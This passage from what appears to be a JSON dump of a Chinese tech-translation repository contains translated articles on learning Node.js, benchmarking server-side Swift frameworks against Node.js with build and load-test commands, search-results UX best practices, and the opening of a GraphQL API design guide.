函数总是缓存它依赖的模块. 如果需要多次执行所需模块中的代码，你可以做什么?\n50. 使用流时，你何时使用管道功能以及何时使用事件？ 这两种方法可以组合吗？\n\n### 我采取了最好的方式来学习 Node.js\n\n学习 Node.js 可能很具有挑战性。以下的一些指南希望能在这个旅程中帮到你：\n\n#### 学习 JavaScript 的好的部分并学习它的现代语法（ ES2015 及更高版本）\n\nNode 是一个基于 VM 引擎的可以编译 JavaScript 的库，所以不言而喻，JavaScript 本身的重要功能是 Node 的重要功能的一个子集。故你应该从 JavaScript 本身开始学习之旅。\n\n你理解函数、[作用域](https://edgecoders.com/function-scopes-and-block-scopes-in-javascript-25bbd7f293d7#.2h7c9bt6l)、绑定这个关键字以及新的关键字，[闭包](https://medium.freecodecamp.com/whats-a-javascript-closure-in-plain-english-please-6a1fc1d2ff1c#.fs8bxulzo)、类、模块模式、原型、回调和 promise 吗？你知道可以在 Number、String、Array、Set、Object 和 map 上使用的各种方法吗？适应这个列表上的项目，将使得学习 Node API 更容易。例如，在你很好地理解回调之前，试图学习 'fs' 模块方法可能会导致不必要的混乱。\n\n#### 了解 Node 的非阻塞性质\n\n回调和 promise（以及 generators/async 模式）对于 Node 特别重要。异步操作是你在 Node 中的第一课。\n\n你可以将一个 Node 程序中的几行代码的非阻塞性质你订购星巴克咖啡的方式（在商店中，而不是得来速）相比较：\n\n1. 下订单 | 给 Node 一些执行指令（一个函数）\n2. 自定义你的订单，例如没有生奶油 | 给函数一些参数：`({whippedCream: false})`\n3. 在你的订单上告诉星巴克员工你的命令 | 通过回调告诉 Node 执行你的函数： `({whippedCream: false}, callback)`\n4. 然后靠边站，星巴克的员工会从排在你后面的人接到订单 | Node 将从你的后面的代码接收指令。\n5. 当你要的咖啡准备好了，星巴克员工会叫你的名字，并给咖啡 | 当你的函数计算结束 Node.js 就会根据计算结果执行回调：`callback(result)`\n\n我写了一篇博客文章来描述这个过程：[在星巴克参悟异步编程](https://edgecoders.com/asynchronous-programming-as-seen-at-starbucks-fc242cf16aa#.mx2cxr3hi)\n\n### 了解 JavaScript 并发模型及其如何基于事件循环而运作\n\n栈，堆和队列。如果你阅读了有关这个主题的书却仍然不完全理解，可以看看 [这个家伙](https://www.youtube.com/watch?v=8aGhZQkoFbQ)，我保证你就懂了。\n\n[![](https://i.ytimg.com/vi/8aGhZQkoFbQ/maxresdefault.jpg)](https://www.youtube.com/embed/8aGhZQkoFbQ?wmode=opaque&widget_referrer=https%3A%2F%2Fmedium.freecodecamp.com%2Fmedia%2Fa661a28c8cc4ab11cdfc9f9487ebd139%3FpostId%3Df9031fbd8b69&enablejsapi=1&origin=https%3A%2F%2Fcdn.embedly.com&widgetid=1)\n\nPhilip 解释了在浏览器中的事件循环，但在 Node.js 中其实是几乎完全相同的事情（尽管有一些差异）。\n\n#### 了解一个 Node 进程如何不进如入 sleep 状态，并且当没有什么要做的时候就会结束进程\n\nNode 进程可以空闲，但它从不进入 sleep 状态。它跟踪所有正在等待执行的回调，如果没有可以执行的回调它将直接结束进。为了保持 Node 进程持续运行，你可以使用一个 `setInterval` 函数，因为这将在事件循环中创建一个永久处于挂起状态的回调。\n\n#### 学习可以使用的全局变量，如 process、module 和 Buffer\n\n它们都定义在一个全局变量里（通常与浏览器中的 `window` 变量相比较）。在 Node 的 REPL 中，键入 `global`。并点击选项卡以查看所有可用的项目（或在空行上的简单双击标签）。其中一些项目是 JavaScript 结构（如 `Array` 和 `Object`）。其中一些是 Node 库函数（如 `setTimeout` 或 `console` 输出到 `stdout` / `stderr`），其中一些是 Node 全局对象，你可以将其用于处理某些任务（例如，`process.env` 可用于读取主机的环境变量）。\n\n![](https://cdn-images-1.medium.com/max/2000/1*6ejru9JVwgJ9iGxBYpysJw.png)\n\n你在表中看到大部分内容的都应该理解。\n\n#### 了解你可以使用 Node 附带的内置库做什么，以及它们如何专注于“网络”\n\n其中一些人会觉得熟悉，比如 *Timers*，因为他们也存在于浏览器和 Node 模拟的环境中。但是，还有更多要学习的，如 `fs`、`path`、`readline`、`http`、`net`、`stream`、`cluster`、……（上面的列表已经包含它们）。\n\n例如，你可以使用 `fs` 读、写文件，可以使用 “`http`” 运行流式 Web 服务器，并且可以运行 tcp 服务器和使用 “`net`” 编程套接字。今天的 Node 比一年前的功能要强大得多，而且它通过社区的代码提交越来越好。在为你的任务寻找可用的包之前，请确保你无法首先使用 Node 内置的程序包完成该任务。\n\n`event` 库特别重要，因为大多数 Node 架构都是事件驱动的。\n\n[在这里你可以总是更多地了解 Node API](https://nodejs.org/api/all.html), 所以请继续扩展你的视野吧.\n\n#### 理解 Node 为什么要叫 Node\n\n你构建简单的单进程构建块（节点），可以使用良好的网络协议组织它们，以使它们彼此通信并扩展以构建大型分布式程序。简化成 Node 应用不是在此之后——它的名字就是从这里产生的。\n\n#### 阅读并尝试理解为 Node 编写的一些代码\n\n选择一个框架，如 Express，并尝试理解它的一些代码。告诉我你不懂的地方。当条件允许我会试着在 [slack 频道](https://slackin-bfcnswvsih.now.sh/)回答问题。\n\n最后，用 Node 编写一个 Web 应用，而且不使用任何框架。尝试处理尽可能多的情况，使用 HTML 文件，解析查询字符串，接受表单输入，并创建一个以 JSON 响应的终端。\n\n还可以尝试编写聊天服务器，发布 npm 包，并为开源的基于 Node 的项目做出贡献。\n\n祝君码运昌隆！\n"
  },
  {
    "path": "TODO/benchmarks-for-the-top-server-side-swift-frameworks-vs-node-js.md",
    "content": "> * 原文地址：[Benchmarks for the Top Server-Side Swift Frameworks vs. Node.js](https://medium.com/@rymcol/benchmarks-for-the-top-server-side-swift-frameworks-vs-node-js-24460cfe0beb)\n* 原文作者：[Ryan Collins](https://medium.com/@rymcol)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Tuccuay](https://github.com/Tuccuay)\n* 校对者：[鳗鱼鱼](https://github.com/cyseria), [Nicolas(Yifei) Li](https://github.com/yifili09)\n\n# 顶级 Swift 服务端框架对决 Node.js \n\n### 前言\n\n最近我在做服务端 Swift 工作时，我被问到这样的问题：\n\n> 「在服务端 Swift 能否击败 Node.js？」\n\nSwift 是一个可以被用来做包括服务端在内的任何事情，从他第一次开源并且移植到 Linux 上就一直很引人入胜。你们肯定有很多人像我一样好奇，所以我非常乐意来分享我的学习成果。\n\n#### 最受欢迎的服务端 Swift 框架\n\n在写这篇文章的时候，按照 Github 上获得 star 的数量顺序排列最受欢迎的服务端 Swift 框架如下：\n\n* [Perfect](https://github.com/perfectlySoft/Perfect) ⭐️7,956\n* [Vapor](https://github.com/vapor/Vapor) ⭐️5,183\n* [Kitura](https://github.com/ibm-swift/kitura) ⭐️4,017\n* [Zewo](https://github.com/zewo/Zewo) ⭐️1,186\n\n#### 本文组织形式\n\n本文将以以下方式呈现：\n\n* 这份快速指引\n* 结果摘要\n* 方法学\n* 详细的结果\n* 结论和说明\n\n### 结果摘要\n\n以下是主要测试的结果摘要，我想说的是：\n\n> **无论各项得分怎样，这些框架内所有的表现都非常棒**\n\n![这张图片在 2016 年 9 月 1 日更新](https://cdn-images-1.medium.com/max/2000/1*-J6071Zqsic7zY521MXUHg.png)\n\n### 方法学笔记\n\n#### 为什么使用博客和 JSON？\n\n搭博客比打印 \"Hello, World!\" 到屏幕上有常见的用途，JSON 也是一种很常见的用例。良好的基准测试需要考虑每个框架在相似负载下的表现，它需要比简单的打印两个单词到屏幕上承载更多的压力。\n\n#### 保持做相同的事情\n\n在每一个主题测试项目中我都会尽量保证博客尽可能相似，同时贴合每个框架的语法风格来完成。为了在许多数据结构中一字不差的使用不同框架生成相同的内容，让每个框架都使用相同的数据模型工作，但是有些方面例如 URL 路由等方式会有很大的差别来适应每个不同框架中的语法和风格。\n\n#### 一些微小的差别\n\n在不同的 Swift 服务端框架直接有一些微小的差别需要注意。\n\n* 在 Kitura 和 Zewo 中，如果绝对路径中存在空格都会在构建时引发一些问题，在 Xcode 中构建任何框架也存在相同的问题。\n\n* Zewo 使用 05-09-a 的 Swift 快照版本，这意味着他在 release 模式下的构建存在一些问题，所以他运行在 debug 模式下。因为这个问题存在所以所有关于 Zewo 的测试都运行在 debug 模式下（这将不包含 release 优化）。\n\n* 静态文件的处理是一个众多服务端 Swift 框架争议的焦点。Vapor 和 Zewo 都建议使用 Nginx 来作为静态文件的代理，然后使用框架来作为后端使用。Perfect 的建议是使用其内置的处理程序，但我并没有有看见 IBM 对此相关的任何评论。由于这项研究不是为了探讨框架如何连接 Nginx 这样的服务器应用，所以静态文件都使用了每个框架本身来处理。你或许可以为了性能考虑而在选择 Vapor 和 Zewo 的时候考虑这个问题，这也是为什么我考虑包含 JSON 测试的一个原因。\n\n* [在 9 月 1 日更新的结果] Zewo 是一个单线程应用程序，你可以通过在每一个 CPU 上都运行一个实例来获得额外的性能提升，因为他们是并发运行而不是在多线程模式下工作。在本研究中，每个应用程序只会有一个实例运行。\n\n* 工具链 (Toolchains)，每个框架都从 Apple 释出的工具链中选择了不同的快照版本，在本文发布时测试的版本如下：\n\n    - DEVELOPMENT-SNAPSHOT-2016-08–24-a for Perfect\n    - DEVELOPMENT-SNAPSHOT-2016-07–25-a for Vapor & Kitura\n    - DEVELOPMENT-SNAPSHOT-2016-05–09-a for Zewo\n\n* Vapor 运行 release 特殊语法。如果你只是简单的去执行二进制包，你将会在控制台中获得一些可以帮助开发和调试过程的日志记录。这将会带来一些额外的性能开销，为了让 Vapor 运行在 release 模式下你需要添加 `--env=production` 来运行，例如：\n\n    ```bash\n    .build/release/App --env=production\n    ```\n\n* [在 9 月 1 日更新的结果] 当使用 Zewo 的时候，即使你不能在 05-09-a 工具链上使用 release 模式，你依然可以通过添加以下代码来进行 release 优化：\n\n    ```bash\n    swift build -Xswiftc -O\n    ```\n\n* Node.js / Express 没有构建编译，因为他没有 debug 和 release 的区别。\n\n* 静态文件处理包括了 Vapor 的默认中间件。如果你没有使用静态文件并且想要优化速度（译注：原作者的意思是如果没有用到它来处理静态文件，那么用这个方法来忽略掉 Vapor 默认的中间件以提高速度。），你必须包含如下代码（就像我在 VaporJSON 中所做的一样）：\n\n    ```bash\n    drop.middleware = []\n    ```\n\n#### 为什么使用 Node.js / Express?\n\n我决定使用 Node.js 的 Express 来作为一个对照包含在测试中。因为他和 Swift 服务端框架具有非常相似的语法并且被广泛应用。他有助于建立一个基线来展示 Swift 能够多么的让人印象深刻。\n\n#### 开发博客\n\n在某些时候开始，我称之为「追逐弹球」。目前 Swift 服务端框架处于非常活跃的开发状态，因为 Swift 3 的每一个预览版相对于上一个都有成堆的改动。所以 Apple 的 Swift 团队导致所有的服务端 Swift 框架需要频繁的发布新版本。他们没有拥有完善的文档，所以我非常感谢框架的小组成员和广大 Swift 服务端框架社区。我也要对无数的社区成员和框架团队在我前进道路上给予的帮助表示感谢。这有很多的乐趣，我很乐意这样做。\n\n一个额外声明，即使不需要许可说明，我也认为这个需要声明一下：所有包含在源码中的资源都来自 [Pixbay](https://pixabay.com/) 的无版权图片，这对于制作一个示例程序很有帮助。\n\n#### 环境和变量\n\n为了尽量消除不同环境带来的影响，我使用了一个 2012 款的 Mac mini 并且重新安装了 El Capitan (10.11.6)，然后下载了 Xcode 8 beta 6，并且设置 command-line-tools 为 Xcode 8。然后使用 swiftenv 安装了必要的快照版本，克隆仓库并且在 release 模式下清洁的编译每一个博客，并且不会同时进行两个测试。测试服务器的规格是这样的：\n\n![](https://cdn-images-1.medium.com/max/1600/1*vH5SdlsoPeIBYsy2mU-lkw.png)\n\n而在开发中我使用的是 2015 款的 rMBP。我在这里进行了构建测试，因为它是我现实生活中的开发设备所以更有意义。我用 wrk 来获得评分，并且我使用 Thunderbolt 2 线缆来连接两台设备，因为 Thunderbold 桥接能拥有一个令人难以置信的带宽使得你的路由器不会成为限制条件，他能更可靠的在博客单独运行在一台机器上的时候用另一个独立的机器去生成负载以压倒性的测试服务器。这提供了一个一致的测试环境，所以我可以说每个博客都是在相同的硬件和条件下运行，为了满足一些好奇心，我开发设备的规格是：\n\n![](https://cdn-images-1.medium.com/max/1600/1*7QYZK-_cmb7231lnchJpuQ.png)\n\n#### 测试基准\n\n在测试中，我决定使用 4 个线程各生成 20 个连接并持续 10 分钟。4 秒钟不能称之为测试，而 10 分钟是一个合理的时间，因为能获得大量的数据并且 4 个线程运行 20 个连接会对博客造成沉重的负担而不至于断开链接。\n\n#### 源代码\n\n如果你想探索这个项目的源代码或者做任何自己的测试，我把这些测试代码都整合到了一个仓库中，你可以在这里找到：\n\n[https://github.com/rymcol/Server-Side-Swift-Benchmarking](https://github.com/rymcol/Server-Side-Swift-Benchmarking)\n\n### 详细结果\n\n#### 构建时间\n\n我认为可能需要先看一眼构建时间。构建时间在日复一日的开发中占据了很大一部分开发时间，并且他也能算作是框架的性能表现，我觉得我在探索的是真实的数字和持续时间的感觉。\n\n#### 如何运行\n\n对于每一个框架,\n\n```bash\nswift build --clean=dist\n```\n\n然后\n\n```bash\ntime swift build\n```\n\n运行完之后，进行第二次测试\n\n```bash\nswift build --clean\n```\n\n最后\n\n```bash\ntime swift build\n```\n\n这两次构建都使用了 SPM(Swift Package Manager, Swift 包管理器) 来管理依赖关系，包括常规的、清洁的依赖都已经下载好了。\n\n#### 怎么运行的\n\n这运行在我本地的 2015 款 rMBP 上并且构建在 debug 模式，因为在使用 Swift 开发应用时这是正常的过程。\n\n#### 构建时间结果\n\n![](https://cdn-images-1.medium.com/max/1600/1*lhhh_8CgevyvpgfnGnVxXA.png) \n\n![](https://cdn-images-1.medium.com/max/1600/1*wAWMcltJR7B9FP-x2NhzDQ.png)\n\n* * *\n\n#### 内存使用\n\n我第二在意的就是在框架运行时候内存的占用量。\n\n#### 如何运行\n\n第一步 开始内存占用（单纯的启动进程）\n\n第二步 测试我服务器上峰值内存占用\n\n```bash\nwrk -d 1m -t 4 -c 10\n```\n\n第三步 用下面的方法第二次测试内存占用\n\n```bash\nwrk -d 1m -t 8 -c 100\n```\n\n#### 怎么运行的\n\n这个测试在一个干净的 Mac mini 专用测试服务器上运行。反映了每个框架在 release 模式可能存在的状况。同一时间只有一个框架在命令行中运行并且会在下一次测试前重启。在测试期间唯一打开的窗口是活动监视器，我用它来可视化内存占用。在每个框架运行的时候，我只是简单的指出峰值出现在活动监视器中的时候。\n\n#### 内存占用结果\n\n![](https://cdn-images-1.medium.com/max/1600/1*8cG8cHnkdhTzVM9Aj0QV9Q.png)\n\n![](https://cdn-images-1.medium.com/max/1600/1*WhQcrT9d5OJI_J9n_XvZOA.png) \n\n![](https://cdn-images-1.medium.com/max/1600/1*NY3syLPSPdGN25-3G7EC1g.png)\n\n* * *\n\n#### 线程使用\n\n我第三看重的事情是每个框架在负载下的线程使用情况\n\n#### 如何运行\n\n第一步 开始内存占用（单纯的启动进程）\n\n第二部 在我的测试服务器上用下面的命令来产生线程使用：\n\n```bash\nwrk -d 1m -t 4 -c 10\n```\n\n#### 怎么运行的\n\n这是一个用干净的 Mac mini 来搭建的专用测试服务器，每个框架都尽可能的在 release 模式下执行的。同一时间只有一个框架在命令行中运行并且会在下一次测试前重启。在测试期间唯一打开的窗口是活动监视器，我用它来可视化内存占用。在每个框架运行的时候，我只是简单的指出峰值出现在活动监视器中的时候。\n\n#### 对于这些结果的说明\n\n这里没有「胜出」这一类。许多不同的应用程度对于线程的管理方式不同，并且这些框架也不例外。例如 Zewo 就是一个单线程应用程序，他永远不会使用大于一个线程（如果你没有主动在每一个 CPU 上运行的话）。而 Perfect 则会使用每一个可用的 CPU，Vapor 则是为每个线程模型使用一个 CPU。因此该图的目的是使线程负载峰值更容易看到。\n\n#### 线程使用结果\n\n![](https://cdn-images-1.medium.com/max/1600/1*aLuf-9gs4Xd4ZtnwgNNgcA.png)\n\n![](https://cdn-images-1.medium.com/max/1600/1*QwPMAL7EEOm9L8cIEelT3w.png)\n\n* * *\n\n#### 博客测试\n\n第一个基准测试是处理 `/blog` 的路由，这是一个为每个请求返回 5 个随机图片的假博客文章接口。\n\n#### 如何运行\n\n```bash\nwrk -d 10m -t 4 -c 20 http://169.254.237.101:(PORT)/blog\n```\n\n从我的 rMBP 上用 Thunderbolt 桥接运行每个博客。\n\n#### 怎么运行的\n\n在内存测试中，每个框架都在 release 模式运行，每次测试之前都会被重新启动。同一时间只有一个框架会被运行在服务器上。所有的活动都保持在最小的改变以保证环境尽可能相似。\n\n#### 结果\n\n![这张图片在 2016 年 9 月 1 日得到更新](https://cdn-images-1.medium.com/max/1600/1*T4iNJjI2pCUt1n-tZnWSnw.png)\n\n![这张图片在 2016 年 9 月 1 日得到更新](https://cdn-images-1.medium.com/max/1600/1*ddAC0BWrOBpvST0QQfpN7Q.png)\n\n* * *\n\n#### JSON 测试\n\n由于每个人对于静态文件的处理方法都各有风格，所以看上去更加公平的方式是使用简单的接口来进行相同的测试，所以我增加了 `/json` 路由来测试每个应用从沙盒内返回 0~1000 之间的随机数。这个测试是单独进行的，以保证静态文件处理程序和中间件不会影响到接结果。\n\n#### 如何运行\n\n```bash\nwrk -d 10m -t 4 -c 20 http://169.254.237.101:(PORT)/json\n```\n    \n对每个 JSON 项目都运行\n\n#### 怎么运行的\n\n在其他测试中，每个框架都在 release 模式运行，每次测试之前都会被重新启动。同一时间只有一个框架会被运行在服务器上。所有的活动都保持在最小的改变以保证环境尽可能相似。\n\n#### Results\n\n![这张图片在 2016 年 9 月 1 日得到更新](https://cdn-images-1.medium.com/max/1600/1*sb8WpWPKtUAO4hTTKr46Tg.png)\n\n![这张图片在 2016 年 9 月 1 日得到更新](https://cdn-images-1.medium.com/max/1600/1*NFq7qLFZaGpStZlyEdjfmA.png)\n\n### 结论\n\n我的问题得到的回答是压倒性的 **是**。Swift 能做的不仅能作为服务端框架使用，并且所有的 Swift 服务端框架性能都表现得令人难以置信的好，而 Node.js 在每个测试中都排在最后两名。\n\n由于服务端 Swift 框架可以和其它 Swift 应用共享基本代码库，所以它可以为你节省大量的时间。而从这里的结果可以看出，服务端 Swift 框架在编程领域是非常强有力的竞争者。我个人会在编程中（特别是在服务端）尽可能的使用 Swift。我也迫不及待地想看到社区涌现出更多令人感到惊奇的项目。\n\n### 参与其中\n\n如果你对服务端 Swift 感兴趣，现在是时候参与其中了！这些框架还有大量的工作需要完成，比如说他们的文档。并且有一些非常炫酷的应用程序作为示例（有开源也有闭源）。你可以在这里了解更多信息：\n\n - Perfect: [Website](http://perfect.org/) | [Github](https://github.com/PerfectlySoft/Perfect/) | [Slack](http://perfect.ly/) | [Gitter](https://gitter.im/PerfectlySoft/Perfect?utm_source=rymcol) \n - Vapor: [Website](http://vapor.codes/) | [Github](https://github.com/vapor/Vapor/) | [Slack](http://vapor.team/)\n - Kitura: [Website](https://developer.ibm.com/swift/kitura/) | [Github](https://github.com/IBM-Swift/Kitura/) | [Gitter](https://gitter.im/IBM-Swift/Kitura?utm_source=rymcol) - Zewo: [Website](http://www.zewo.io/) | [Github](https://github.com/Zewo/Zewo/) | [Slack](http://slack.zewo.io/)\n\n#### 保持联系\n\n如果你有任何问题，可以在 Twitter 上和我取得联系 [@rymcol](http://twitter.ryanmcollins.com/)。\n\n>需要额外说明的信息：这段内容增加于 2016 年 9 月 1 日，为 Zewo 使用 `swift build -c release` 方法构建而优化并修正了一些数据。PerfectlySoft 公司提供的经费为我进行这项研究提供了动力。我同时也在 Github 上 Perfect & Vapor 的团队中，我不是其中任何一个的雇员，我的意见也不代表他们的观点。我尽力保持绝对的公平公正，因为我同时在所有的四个平台上开发，我是真的想看到结果 [用于研究的所有代码都是公开](https://github.com/rymcol/Server-Side-Swift-Benchmarking)，你可以随时检查测试方式或者自己重复一些测试。\n\n\n"
  },
  {
    "path": "TODO/best-practices-for-search-results.md",
    "content": "> * 原文地址：[Best Practices for Search Results](https://uxplanet.org/best-practices-for-search-results-1bbed9d7a311#.8pysknjlm)\n> * 原文作者：[Nick Babich](https://uxplanet.org/@101?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[sunui](http://suncafe.cc)\n> * 校对者：[iloveivyxuan](https://github.com/iloveivyxuan)、[Graning](https://github.com/Graning)\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*HgoOq5VKfmNfswUF8GM7pg.jpeg\">\n\n# 搜索结果页的最佳实践 #\n\n搜索就像是用户和系统之间的一次对话：用户用一次查询来表达他们需要的信息，而系统用一组结果做为回应。搜索结果页恰恰是整个搜索体验中的一个关键部分：它提供了让用户参与对话的机会，来指导用户的信息需求。\n\n这篇文章中，我愿意分享 10 个最佳实践，来帮助你提升搜索结果页的用户体验。\n\n### 1. 点击搜索按钮后，不要清除用户的查询内容 ###\n\n**保留用户输入的原始文字。** 再次查询是信息检索中关键的一步。如果用户没有找到他们想要的信息，他们可能会把一部分查询内容改为更清晰的关键词再搜索一遍。为了方便用户进行查询，在搜索框中留下初始的关键词，让用户不至于重复输入。\n\n### 2. 提供准确而且相关的搜索结果 ###\n\n**搜索结果的第一页是黄金位置。** 搜索结果页是一次搜索体验最核心的地方，它可以提升一个网站的转化率也可以毁掉它。通常用户可以基于一两组搜索结果就可以快速判断一个网站是否存在价值。\n\n将准确的结果返回给用户显然非常重要，否则他们将不再相信这个搜索工具。所以你的搜索工具必须以合理的方式确定结果的优先级，并把所有重要的结果放置在第一页。\n\n### 3. 使用有效的自动提示 ###\n\n**无效的自动提示会让搜索体验大打折扣。** 请确保自动提示是有效的。当用户输入文字时，像识别词根、预测文本、搜索建议都是一些对用户很有帮助的功能。这些做法有助于加快搜索进度，并让用户在跳转间依旧保持工作状态。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*AQFWWqXrznprydFeOL-axg.png\">\n\n图片来源: ThinkWithGoogle\n\n### 4. 纠正拼写错误 ###\n\n**打字本来就很容易出错。** 如果用户错误的输入了搜索关键词，而你可以检测到这个错误，那么可以针对系统猜测或“更正”后的关键词来显示搜索结果。这样就避免了由于没有返回结果，用户不得不再次输入关键词的尴尬。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*U3xATz5_lkAgYsjJXNlH7g.png\">\n\n不支持搜索重组的苹果商店上没有搜索到结果页面。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*i0oGvymAq0dl7rhLjdLvug.png\">\n\nAsos 网站在用户打字错误时，很好地显示了一组代替结果来避免激怒用户。它会这样提示用户：“您的初始搜索为 ‘Overcoatt’，我们也为您搜索了‘Overcoats’的相关结果”\n\n### 5. 显示搜索结果的数量 ###\n\n显示相关搜索结果的数量，让与用户能够知道他们大概会花费多长时间来浏览这些搜索结果。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*WC83Jp1xpJtLdMbuc5hhiQ.png\">\n\n相关结果数量能够让用户更清楚如何进行再次搜索。\n\n### 6. 保留用户最近的搜索记录 ###\n\n即使用户很熟悉搜索引擎的功能，搜索这件事仍然需要用户从他们的记忆里唤起信息。为了想出一个有意义的关键词，用户需要考虑到他要查找的目标所具有的相关属性，并将它们融合到查询条件中。设计搜索体验时，你应该时刻记住基本的可用性原则：\n\n> 尊重用户的努力\n\n你的网站应该 **保存所有最近的站内搜索记录**, 当用户下一次创建搜索的时候把这些记录提供给他们.\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*F5VdrzysdFsaIBLQqxJvdw.png\">\n\n保存最近搜索记录的好处是用户再次搜索同样的内容时可以节约他们的时间和精力。\n\n**提示:** 提供的条目不要超过 10 个 (并且不要有滚动条) 这样不会让用户觉得信息过载。\n\n### 7. 选择合适的页面布局 ###\n\n显示搜索结果的一个挑战是不同的页面内容需要不同的布局来支撑。内容展现最基本的两种布局分别是列表视图和网格视图。一个经验法则：\n\n> 列表用于详情展示，网格用于图片展示\n\n不妨一起在产品页面中验证一下这个法则。这时产品的细节特征在就显得尤为重要了。对于类似家用电器这样的产品，诸如型号、评级和尺寸等 **细节** 是用户在 **选择购买过程中** 关注的重要因素，因此列表视图更有意义。\n\n![](https://cdn-images-1.medium.com/max/800/1*K7ITLIzXP57remQneOi9nw.png)\n\n列表布局更适合细节导向的布局\n\n对于一些 **需要更少的产品细节信息** 的产品，**网格视图** 是一个更好的选择。比如服装这样的产品，用户在挑选产品的过程中对文字描述信息不会太关心，而是依赖于 **产品外观** 做决定。对于这类产品用户更关心产品间的视觉差异，并且更愿意在一个长页面上来回滚动挑选，而不是在一个列表页和产品详情页面里反复切换。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*HplfdblSUuoURLFBCEWDfg.png\">\n\n网格布局更适合视觉导向的布局\n\n**提示:**\n\n- 允许用户为搜索结果选择“列表视图”或“网格视图”，让用户选择他们自己更期望的方式来浏览他们的查询结果。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*ebjnL_m2ojhNM9duJac9qg.png\">\n\n允许用户通过一个功能菜单来更改布局\n\n- 设计网格布局的时候，选择一个合适的图片尺寸，既要足够大到清晰识别细节，又要足够小到让用户一次尽量看到更多的条目。\n\n### 8. 显示搜索进度 ###\n\n理想状况下，搜索结果应该 **立即** 显示，但如果做不到，应该使用进度条来为用户提供系统的反馈。你应该给你的用户一个清晰的指示，让他们知道还要等待多久。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*SXF1nALfezQeQyYOSu1l-A.gif\">\n\nAviasales 网站提示用户 **搜索需要一些时间**\n\n**提示:** 如果搜索过于耗时，你可以使用动画. 好的动画能够分散访客的注意力，让他们忽略漫长的等待。\n\n### 9. 提供排序和筛选的选项 ###\n\n用户搜索返回的结果和关键词相关度较低或者结果太多的时候，他们往往感觉很迷茫。你应该提供给用户一些与其搜索相关的筛选选项，并且在他们应用筛选选项的时候要支持多选。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*sKSFUtpTpH1KH6rKtJrDYQ.png\">\n\n筛选选项可以帮助用户减少搜索结果并对其排序，不然会需要大量的（过多的）滚动和分页。\n\n**提示:**\n\n- 不要给用户过多的筛选选项这一点很重要。如果你的搜索需要大量的筛选，应该为它们设定默认值。\n- 不要在筛选功能中隐藏排序功能，它们是不一样的。\n- 当用户限制了搜索范围，在搜索结果页的顶部要明确说明这这个范围。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*ScC1SnfDGtI6fZ6UUpvNPg.png\">\n\n### 10. 不要反馈 “没有找到相关结果” ###\n\n把一个没有搜索结果的页面丢给用户会令他很沮丧。如果他们搜索了多次都返回这样的结果那就更过分了。 当它们的搜索没有匹配到结果时 **应该避免让他们陷入死胡同** ，为他们提供有价值的替代品。（例如，网店可以从相似类别的商品中为用户推荐替代商品）\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*vWXgR6cGUC7oMrjGw1xwMg.png\">\n\n惠普网站的“没有找到相关结果”页就是一个死胡同的例子。它与在无结果页面上显示有价值的替代品的页面形成鲜明对比，例如亚马逊的页面。\n\n### 结论 ###\n\n搜索引擎是构建一个优秀网站的关键要素。用户在寻找和学习事物时期望一个流畅的体验，而且他们通常基于一两组搜索结果的质量对网站的价值做出非常快速的判断。一个优秀的搜索工具应当能够帮助用户快速而简单地查找他们想要的结果。\n\n谢谢!\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/best-practices-in-designing-graphql-apis.md",
    "content": "> * 原文地址：[Best Practices in Designing GraphQL APIs](https://medium.com/@zavilla90/best-practices-in-designing-graphql-apis-395225bdcd1)\n> * 原文作者：[Zenia Villa](https://medium.com/@zavilla90?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/best-practices-in-designing-graphql-apis.md](https://github.com/xitu/gold-miner/blob/master/TODO/best-practices-in-designing-graphql-apis.md)\n> * 译者：[Jiang Haichao](https://github.com/AceLeeWinnie)\n> * 校对者：[缪宇](https://github.com/goldEli), [moods445](https://github.com/moods445)\n\n# GraphQL API 设计最佳实践\n\n以下是由 Lee Byron 提出的 GraphQL API 设计最佳实践， 他是 GraphQL 峰会上 Facebook 的设计技术专家。\n\n#### 重视命名\n\n最常见的情况是，你命名了一个名称，意识到这个命名有问题之后，于是决定重命名。可问题是，图形化 API 中某字段一旦被客户端使用，就不可更改了。所以错误命名的成本可能是高昂的。时刻反问一个重要的问题来提醒自己：“新来的工程师是否能够明白这一命名的含义？”时刻铭记有些工程师会绕过文档，尝试各种他们想当然的字段名称。当查询书名时，通常使用 “title” 字段，这说明定义的名称需要是自文档化的，并且含义要和实际用途保持接近。\n\n#### 